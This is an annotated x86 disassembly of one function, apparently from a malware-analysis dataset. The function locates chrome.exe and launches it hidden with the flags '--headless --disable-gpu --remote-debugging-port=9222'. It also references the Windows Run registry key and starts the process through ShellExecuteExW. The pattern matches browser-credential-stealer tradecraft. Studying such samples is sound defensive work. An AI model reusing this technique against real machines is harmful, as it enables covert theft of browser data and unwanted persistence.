Function at 0x40cb0b
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x489ebb
mov eax, dword fs:[0]
push eax
sub esp, 0x498
mov eax, dword [0x4bc760]
xor eax, esp
mov dword [esp + 0x490], eax
push ebx
push esi
push edi
mov eax, dword [0x4bc760]
xor eax, esp
push eax
lea eax, [esp + 0x4a8]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x20], esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
cmp byte [esi + 0x10f8], bl
jne 0x40d45b
lea eax, [esp + 0x424]
push eax
call fcn.0042d8c2
and dword [esp + 0x4b0], ebx
lea ecx, [esp + 0x24]
push eax
call fcn.0040decc
lea ecx, [esp + 0x424]
mov byte [esp + 0x4b0], 2
call fcn.004045c6
mov edi, dword [esp + 0x24]
cmp edi, dword [esp + 0x28]
je 0x40d44b
lea eax, [esi + 0xf58]
add edi, 0x40
mov dword [esp + 0x1c], eax
push edi
mov edx, str.__headless___disable_gpu___remote_debugging_port9222
lea ecx, [esp + 0x8c]
call fcn.0040ef0b
pop ecx
push 1
push eax
lea ecx, [esp + 0x210]
mov byte [esp + 0x4b8], 3
call fcn.00411288
push 0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0x4b8], 5
call fcn.00403790
push ecx
push 0x4a3a11
lea ecx, [esp + 0x110]
call fcn.0041135f
sub esp, 0xc
mov byte [esp + 0x4bc], 6
mov ecx, esp
push dword [esp + 0x28]
call fcn.00404fd5
lea ecx, [edi - 0x40]
call fcn.00433e94
add esp, 0xc
test al, al
je 0x40cc47
push ecx
push 0x4a3a11
lea ecx, [esp + 0xdc]
call fcn.0041135f
lea ecx, [esp + 0xd4]
call fcn.0041155a
push ecx
push 0x4a3b48
lea ecx, [esp + 0xa8]
call fcn.0041135f
mov byte [esp + 0x4b0], 7
lea ecx, [edi + 0x104]
or ebx, 1
lea edx, [esp + 0xa0]
mov dword [esp + 0x18], ebx
call fcn.0041247f
test al, al
je 0x40cca0
sub esp, 0xc
mov ecx, esp
push dword [esp + 0x28]
call fcn.00404fd5
lea ecx, [edi - 0x40]
call fcn.00433e94
add esp, 0xc
mov byte [esp + 0x17], 1
test al, al
jne 0x40cca5
mov byte [esp + 0x17], 0
mov dword [esp + 0x4b0], 6
test bl, 1
je 0x40ccc4
lea ecx, [esp + 0xa0]
and ebx, 0xfffffffe
call fcn.0041155a
cmp byte [esp + 0x17], 0
je 0x40d414
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [esp + 0x18], 0
lea ecx, [esp + 0x88]
je 0x40d043
push str.ProgramFiles_x86_
call fcn.00404ebb
lea edx, [esp + 0x88]
mov byte [esp + 0x4b0], 8
lea ecx, [esp + 0x13c]
call fcn.00432f60
push str.GoogleChromeApplicationchrome.exe
mov edx, eax
mov byte [esp + 0x4b4], 9
lea ecx, [esp + 0x158]
call fcn.00405713
push eax
lea ecx, [esp + 0xa8]
mov byte [esp + 0x4b8], 0xa
call fcn.00411308
lea eax, [esp + 0xa0]
mov byte [esp + 0x4b0], 0xb
push eax
lea ecx, [esp + 0x40]
call fcn.0040ff22
lea ecx, [esp + 0xa0]
call fcn.0041155a
push 0
push 1
lea ecx, [esp + 0x15c]
call fcn.00405141
push 0
push 1
lea ecx, [esp + 0x144]
call fcn.00405141
push 0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0x4b8], 0x10
call fcn.00405141
lea ecx, [esp + 0x3c]
call fcn.0041020c
test al, al
je 0x40d03a
push ecx
push str.chrome
lea ecx, [esp + 0x278]
call fcn.0041135f
push ecx
push str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x1a8]
mov byte [esp + 0x4b8], 0x11
call fcn.0041135f
lea eax, [esp + 0x270]
mov byte [esp + 0x4b0], 0x12
push eax
lea eax, [esp + 0x1a4]
push eax
lea ecx, [esp + 0x2ac]
call fcn.00427d8a
lea ecx, [esp + 0x1a0]
call fcn.0041155a
lea ecx, [esp + 0x270]
mov byte [esp + 0x4b0], 0x15
call fcn.0041155a
push ecx
push 0x4a3d48
lea ecx, [esp + 0xdc]
call fcn.0041135f
push ecx
push str.___headless___disable_gpu___remote_debugging_port9222
lea ecx, [esp + 0x1dc]
mov byte [esp + 0x4b8], 0x16
call fcn.0041135f
push ecx
push 0x4a3d44
lea ecx, [esp + 0x244]
mov byte [esp + 0x4b8], 0x17
call fcn.004113ca
lea eax, [esp + 0x16c]
mov byte [esp + 0x4b0], 0x18
push eax
lea ecx, [esp + 0x40]
call fcn.0040fff4
mov esi, eax
push ecx
push 0x4a3d44
lea ecx, [esp + 0x390]
mov byte [esp + 0x4b8], 0x19
call fcn.004113ca
push esi
lea ecx, [esp + 0x3f4]
mov byte [esp + 0x4b4], 0x1a
push ecx
mov ecx, eax
call fcn.004115b0
lea ecx, [esp + 0x23c]
mov byte [esp + 0x4b0], 0x1b
push ecx
lea ecx, [esp + 0x2f0]
push ecx
mov ecx, eax
call fcn.004115b0
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x4b0], 0x1c
push ecx
lea ecx, [esp + 0x358]
push ecx
mov ecx, eax
call fcn.004115b0
mov byte [esp + 0x4b0], 0x1d
lea ecx, [esp + 0xd4]
push ecx
lea ecx, [esp + 0x324]
push ecx
mov ecx, eax
call fcn.004115b0
push edi
lea ecx, [esp + 0x3c0]
mov byte [esp + 0x4b4], 0x1e
push ecx
mov ecx, eax
call fcn.004115b0
add eax, 0x18
mov byte [esp + 0x4b0], 0x1f
cmp dword [eax + 0x14], 8
jb 0x40cf46
mov eax, dword [eax]
push ecx
push eax
lea ecx, [esp + 0xa8]
call fcn.004113ca
lea eax, [esp + 0xa0]
mov byte [esp + 0x4b0], 0x20
push eax
lea ecx, [esp + 0x2a8]
call fcn.00427f50
lea ecx, [esp + 0xa0]
call fcn.0041155a
lea ecx, [esp + 0x3bc]
call fcn.0041155a
lea ecx, [esp + 0x320]
call fcn.0041155a
lea ecx, [esp + 0x354]
call fcn.0041155a
lea ecx, [esp + 0x2ec]
call fcn.0041155a
lea ecx, [esp + 0x3f0]
call fcn.0041155a
lea ecx, [esp + 0x388]
call fcn.0041155a
lea ecx, [esp + 0x16c]
call fcn.0041155a
lea ecx, [esp + 0x23c]
call fcn.0041155a
lea ecx, [esp + 0x1d4]
call fcn.0041155a
lea ecx, [esp + 0xd4]
mov byte [esp + 0x4b0], 0x15
call fcn.0041155a
lea eax, [esp + 0x16c]
push eax
lea ecx, [esp + 0x40]
call fcn.0040fff4
push eax
lea ecx, [esp + 0x10c]
mov byte [esp + 0x4b4], 0x21
call fcn.00411576
lea ecx, [esp + 0x16c]
call fcn.0041155a
lea ecx, [esp + 0x2a4]
call fcn.00427eb1
lea ecx, [esp + 0x3c]
jmp 0x40d389
push str.ProgramFiles
call fcn.00404ebb
lea edx, [esp + 0x88]
mov byte [esp + 0x4b0], 0x22
lea ecx, [esp + 0x154]
call fcn.00432f60
push str.GoogleChromeApplicationchrome.exe
mov edx, eax
mov byte [esp + 0x4b4], 0x23
lea ecx, [esp + 0x140]
call fcn.00405713
push eax
lea ecx, [esp + 0xdc]
mov byte [esp + 0x4b8], 0x24
call fcn.00411308
lea eax, [esp + 0xd4]
mov byte [esp + 0x4b0], 0x25
push eax
lea ecx, [esp + 0x34]
call fcn.0040ff22
lea ecx, [esp + 0xd4]
call fcn.0041155a
push 0
push 1
lea ecx, [esp + 0x144]
call fcn.00405141
push 0
push 1
lea ecx, [esp + 0x15c]
call fcn.00405141
push 0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0x4b8], 0x2a
call fcn.00405141
lea ecx, [esp + 0x30]
call fcn.0041020c
test al, al
je 0x40d385
push ecx
push str.chrome
lea ecx, [esp + 0x244]
call fcn.0041135f
push ecx
push str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x1dc]
mov byte [esp + 0x4b8], 0x2b
call fcn.0041135f
lea eax, [esp + 0x23c]
mov byte [esp + 0x4b0], 0x2c
push eax
lea eax, [esp + 0x1d8]
push eax
lea ecx, [esp + 0x2ac]
call fcn.00427d8a
lea ecx, [esp + 0x1d4]
call fcn.0041155a
lea ecx, [esp + 0x23c]
mov byte [esp + 0x4b0], 0x2f
call fcn.0041155a
push ecx
push 0x4a3d48
lea ecx, [esp + 0xa8]
call fcn.0041135f
push ecx
push str.___headless___disable_gpu___remote_debugging_port9222
lea ecx, [esp + 0x1a8]
mov byte [esp + 0x4b8], 0x30
call fcn.0041135f
push ecx
push 0x4a3d44
lea ecx, [esp + 0x278]
mov byte [esp + 0x4b8], 0x31
call fcn.004113ca
lea eax, [esp + 0x3bc]
mov byte [esp + 0x4b0], 0x32
push eax
lea ecx, [esp + 0x34]
call fcn.0040fff4
mov esi, eax
push ecx
push 0x4a3d44
lea ecx, [esp + 0x328]
mov byte [esp + 0x4b8], 0x33
call fcn.004113ca
push esi
lea ecx, [esp + 0x358]
mov byte [esp + 0x4b4], 0x34
push ecx
mov ecx, eax
call fcn.004115b0
lea ecx, [esp + 0x270]
mov byte [esp + 0x4b0], 0x35
push ecx
lea ecx, [esp + 0x2f0]
push ecx
mov ecx, eax
call fcn.004115b0
lea ecx, [esp + 0x1a0]
mov byte [esp + 0x4b0], 0x36
push ecx
lea ecx, [esp + 0x3f4]
push ecx
mov ecx, eax
call fcn.004115b0
mov byte [esp + 0x4b0], 0x37
lea ecx, [esp + 0xa0]
push ecx
lea ecx, [esp + 0x38c]
push ecx
mov ecx, eax
call fcn.004115b0
push edi
lea ecx, [esp + 0x170]
mov byte [esp + 0x4b4], 0x38
push ecx
mov ecx, eax
call fcn.004115b0
add eax, 0x18
mov byte [esp + 0x4b0], 0x39
cmp dword [eax + 0x14], 8
jb 0x40d291
mov eax, dword [eax]
push ecx
push eax
lea ecx, [esp + 0xdc]
call fcn.004113ca
lea eax, [esp + 0xd4]
mov byte [esp + 0x4b0], 0x3a
push eax
lea ecx, [esp + 0x2a8]
call fcn.00427f50
lea ecx, [esp + 0xd4]
call fcn.0041155a
lea ecx, [esp + 0x16c]
call fcn.0041155a
lea ecx, [esp + 0x388]
call fcn.0041155a
lea ecx, [esp + 0x3f0]
call fcn.0041155a
lea ecx, [esp + 0x2ec]
call fcn.0041155a
lea ecx, [esp + 0x354]
call fcn.0041155a
lea ecx, [esp + 0x320]
call fcn.0041155a
lea ecx, [esp + 0x3bc]
call fcn.0041155a
lea ecx, [esp + 0x270]
call fcn.0041155a
lea ecx, [esp + 0x1a0]
call fcn.0041155a
lea ecx, [esp + 0xa0]
mov byte [esp + 0x4b0], 0x2f
call fcn.0041155a
lea eax, [esp + 0x16c]
push eax
lea ecx, [esp + 0x34]
call fcn.0040fff4
push eax
lea ecx, [esp + 0x10c]
mov byte [esp + 0x4b4], 0x3b
call fcn.00411576
lea ecx, [esp + 0x16c]
call fcn.0041155a
lea ecx, [esp + 0x2a4]
call fcn.00427eb1
lea ecx, [esp + 0x30]
mov byte [esp + 0x4b0], 6
call fcn.004037d4
cmp dword [esp + 0x118], 0
je 0x40d414
push 0x3c
pop esi
push esi
lea eax, [esp + 0x50]
push 0
push eax
call fcn.0046cb40
add esp, 0xc
mov dword [esp + 0x4c], esi
cmp dword [esp + 0x134], 8
lea eax, [esp + 0x120]
mov dword [esp + 0x50], 0x440
cmovae eax, dword [esp + 0x120]
cmp dword [esp + 0x234], 8
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x220]
cmovae eax, dword [esp + 0x220]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x4c]
push eax
mov dword [esp + 0x5c], str.open
mov dword [esp + 0x6c], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40d47f
lea ecx, [esp + 0x108]
call fcn.0041155a
lea ecx, [esp + 0x208]
mov byte [esp + 0x4b0], 2
call fcn.0041155a
add edi, 0x26c
lea eax, [edi - 0x40]
cmp eax, dword [esp + 0x28]
jne 0x40cbb0
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0x24]
call fcn.004051f5
mov byte [esi + 0x10f8], 1
mov ecx, dword [esp + 0x4a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x490]
xor ecx, esp
call fcn.0046a4a7
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x108]
call fcn.0041155a
lea ecx, [esp + 0x208]
call fcn.0041155a
lea ecx, [esp + 0x24]
call fcn.004051f5
jmp 0x40d45b